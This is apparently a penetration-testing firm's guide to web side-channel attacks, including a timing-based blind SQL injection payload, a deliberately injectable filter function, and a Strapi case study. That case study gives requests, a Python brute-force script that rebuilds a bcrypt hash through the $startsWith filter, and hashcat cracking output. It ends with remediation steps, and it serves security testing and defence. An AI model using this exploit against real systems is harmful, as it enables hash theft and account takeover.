Practical Side-Channel Attacks in Web Applications

Practical Side-Channel Attacks in Web Applications

Side-channel attacks are a method of extracting information from systems by observing their physical implementation rather than attacking the theoretical weaknesses in algorithms. These attacks focus on the unintended information leakage that occurs during a system's operation.

This guide covers web side-channel attacks—timing signals, response-size leaks, and filtering oracles, using a Strapi case study that culminates in bcrypt hash extraction

The goal is to give testers a stable process for finding and exploiting these channels. The content focuses on the branch of side-channels that apply to web applications, filtered endpoints, and request-based oracles. The article builds from general concepts toward a practical sequence that led to a complete extraction of bcrypt hashes from a Strapi deployment. The focus is on the class of weakness, not the specific framework. Strapi is used as a real case study because it exposes the mechanics clearly.

TL;DR (Lazy Summary)

💡

- Side-channel attacks extract information from system behavior, not explicit output.

- Web applications contain numerous observable behaviors that reveal hidden values.

- Misconfigured Strapi filtering creates a prefix oracle on bcrypt hashes.

What Are Side-Channel Attacks? Web App Examples and Risks

Side-channel attacks extract information from secondary effects of a system. The
attacker does not read the secret directly. The attacker observes how the system
behaves when the secret is processed. These behaviors include time differences, error
patterns, response structures, or cryptographic oracle outcomes. This section covers
one representative class of general side-channel attacks that shaped modern
exploitation methodology.
Side-channels are based on measurable differences such as:

  • Response time
  • Response structure
  • Response length
  • Status code patterns
  • Acceptance vs. rejection signals
  • Resource usage
  • Ordering of operations
  • Error frequency
  • Field-level behavior in dynamic filter

    A side-channel attack does not require control over the target’s internal logic. The
    attacker uses repeated queries and observes the target’s external behavior.

Common Web Side-Channels(Timing, Response Size, Filtering Oracles)

Cryptographic operations sometimes produce observable timing differences based on the value of a secret. When an attacker can measure these differences with precision, the attacker can infer parts of the secret key.

Example: RSA Padding Oracle Timing Attack

In the original Bleichenbacher attack, TLS servers responded differently to RSA
ciphertexts depending on whether PKCS#1 padding was valid. This response difference created a binary oracle: valid or invalid. The attacker could repeatedly adjust the ciphertext, observe the server’s response pattern, and eventually reconstruct the plaintext block.

Minimal PKCS#1 Padding Oracle Simulation:

def rsa_padding_oracle(ciphertext: bytes, private_key) -> bool:
try:
plaintext = private_key.decrypt(ciphertext)
return plaintext.startswith(b"\x00\x02")
except Exception:
return False

The oracle returns True or False depending on padding validity. This single bit is enough to recover the entire plaintext with repeated queries.

🛠️ Tooling:

These tools are used for testing the security of TLS implementations and attacking RSA keys using known mathematical weaknesses.


Timing-Based Side-Channels in Web Applications (Blind SQLi example)

Side-channels in web applications arise when HTTP responses differ based on hidden internal state. They often stem from inconsistent error handling, different code paths, filter evaluations, or query processing logic. This section covers web-relevant side-channels that reflect the same concepts as cryptographic oracles but manifest at the API level.

Web applications expose timing differences due to internal branching logic. These
differences become an oracle when the attacker can repeat requests.

Example: Time-Based Blind SQL Injections

Time-based SQL injection is a blind SQL injection technique where the attacker forces the database to execute commands that introduce a measurable delay, allowing inference of true/false conditions based solely on response time. The attacker encodes logical checks into timing functions (such as SLEEP, WAITFOR DELAY, or heavy operations) and determines the value of queried data by observing whether the response is delayed or immediate. This enables extraction of information one bit at a time without direct output from the database.

Example Payload:
GET /api/products?id=5 AND IF((SELECT SUBSTR(api_key,1,1)='A'), SLEEP(3), 0)
If query time increases, the attacker knows the character matches.

If not, the attacker continues.

🛠️ Tooling:

Filter Behavior Side-Channels (Prefix oracle / Strapi case)

Filtering logic in APIs can leak private attributes when the backend accepts a filter
parameter but produces different result sets based on the invisible field value.

Example: Oracle in Filtering Logic

Request:
GET /api/orders?filter[status]=pending

Possible responses:

Minimal Filter Oracle Example:

def filter_users(filters):
# vulnerable dynamic filtering logic
base = "SELECT id, username, email FROM users WHERE 1=1"
for field, value in filters.items():
# attacker controls both field and value
base += f" AND {field} LIKE '{value}%'"
return db.execute(base)

If field includes sensitive columns (e.g., password_hash), the attacker can probe
prefixes.

🛠️ Tooling:

Burp Intruder with custom payload positions
This brings us to Strapi.


What is Strapi?


Strapi processes filters through query parameters. If a filter on a field is accepted, Strapi evaluates it during query resolution. If the filter matches a record, that record is returned (without the sensitive field). If it does not match, the array is empty.

This behavior becomes observable. A tester can use $startsWith to test which prefixes align with the stored value. If the prefix is correct, the record appears. If the prefix is incorrect, no record appears.

The system does not show the field itself, but the behavior reveals the field’s prefix.
During a penetration test, Sentry reproduced the behavior by issuing controlled filter probes against the target API, confirming that the backend treated prefix-based filters on sensitive fields as valid queries and returned response patterns that exposed the underlying data structure.

Summary of Attack:

  • If password is left in allowedFilters, an attacker can use $startsWith to test
    prefixes.
  • The bcrypt format is predictable (60 bytes, 64 characters).
  • If /auth/local is active, cracking the hash enables login.

How does Strapi filtering work?
Strapi allows filtering any collection (like users) via REST query parameters:
/api/[collection]?filters[field][$operator]=value

Common operators include $eq, $contains, $startsWith, and others. Filters are enabled per field via the plugin’s configuration.

When a filter on the password field is accepted, and $startsWith is applied, the API
becomes an oracle that answers “yes” or “no” to the question:
“Does the user’s password hash start with X?”

Exploitation Steps:

Step 1: Check if the field is filterable

Request:
GET /api/users?filters[password][$startsWith]=$2a$10$

Expected Response:

{
"data": []
}

The absence of a validation error confirms that the backend accepts filters on password.


Step 2: Guess First Character of a User’s Hash


Request:
GET
/api/users?filters[username][$eq]=superadmin&filters[password][$startsWith]=$2a$10$A

Expected Response (on correct guess):

{
"data": [
{
"id": 1,
"username": "superadmin",
"email": admin@example.com
}
]
}

Expected Response (on incorrect guess):

{
  "data": []
}

A non-empty response confirms the guessed character is correct. This behavior allows inference of each subsequent character.


Step 3: Brute Force the Full Hash


Python Script:
import requests, string
URL = https://target/api/users
HEADERS = {"Authorization": "Bearer <JWT>"}
CHARS = "./" + string.ascii_letters + string.digits

hash_pfx = &quot;$2a$10$&quot;
while len(hash_pfx) &lt; 60:
for ch in CHARS:
params = {
&quot;filters[username][$eq]&quot;: &quot;superadmin&quot;,
&quot;filters[password][$startsWith]&quot;: hash_pfx + ch
}

data = requests.get(URL, params=params, headers=HEADERS).json()[&quot;data&quot;]
if data:
hash_pfx += ch
print(f&quot;[+] {len(hash_pfx)}/60 → {hash_pfx}&quot;)
break
print(&quot;Recovered hash:&quot;, hash_pfx)

Result:
The full bcrypt hash is reconstructed. This takes ~3,000 requests.
The next step would be to use hashcat (a password cracking tool) to crack the hash offline:

hashcat -m 3200 hash.txt wordlist.txt

Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))

Hash.Target......:
$2a$10$JJrnBmc7fuHwAz6heDbZ.ujJTKz0H0m26YGF4iTiZik6...4S2xMW

$2a$10$JJrnBmc7fuHwAz6heDbZ.ujJTKz0H0m26YGF4iTiZik6.pp4S2xMW:Secretpass
word
Impact Table


Remediation

  1. Remove Password from Allowed Filters
    Config Snippet:
// ./src/index.js or ./config/plugins.js
module.exports = {
&quot;users-permissions&quot;: {
config: {
allowedFilters: [&quot;email&quot;, &quot;username&quot;] // exclude &quot;password&quot;
}
}
};
  1. Disable Local Password Authentication
    Disable /auth/local if using external providers (SSO, magic links, etc)
  2. Enforce Monitoring and Rate Limiting
  3. Ensure APIs with filtering support are rate-limited and monitored for excessive
    patterns.

Final Thoughts:


Side-channel attacks in web applications are present when behavior changes based on hidden values. These attacks are tied to patterns.

This article describes the process that uncovered a prefix oracle in Strapi. The goal was to provide a complete path for identifying, validating, and exploiting side-channels across any web system.

Need a second set of eyes on your Strapi stack or any other headless CMS?
Ping the Sentry Security crew – we’re here to break things, before someone else tries to.


And now, once again, we come down to:

1. What is a side-channel attack in a web application?

A web side-channel attack infers secrets from observable signals like timing, response size, or error/empty responses, even when the secret is never returned.

2. What are the most common web side-channels?

The most common web side-channels are timing attacks (e.g., blind SQLi), response-size leaks, and filter/oracle behavior that reveals true/false outcomes.

  1. How do you prevent side-channel attacks in web APIs?

Prevent side-channel attacks by restricting filters/query capabilities with allowlists, standardizing responses, rate-limiting repeated probes, and monitoring for enumeration patterns.

Read more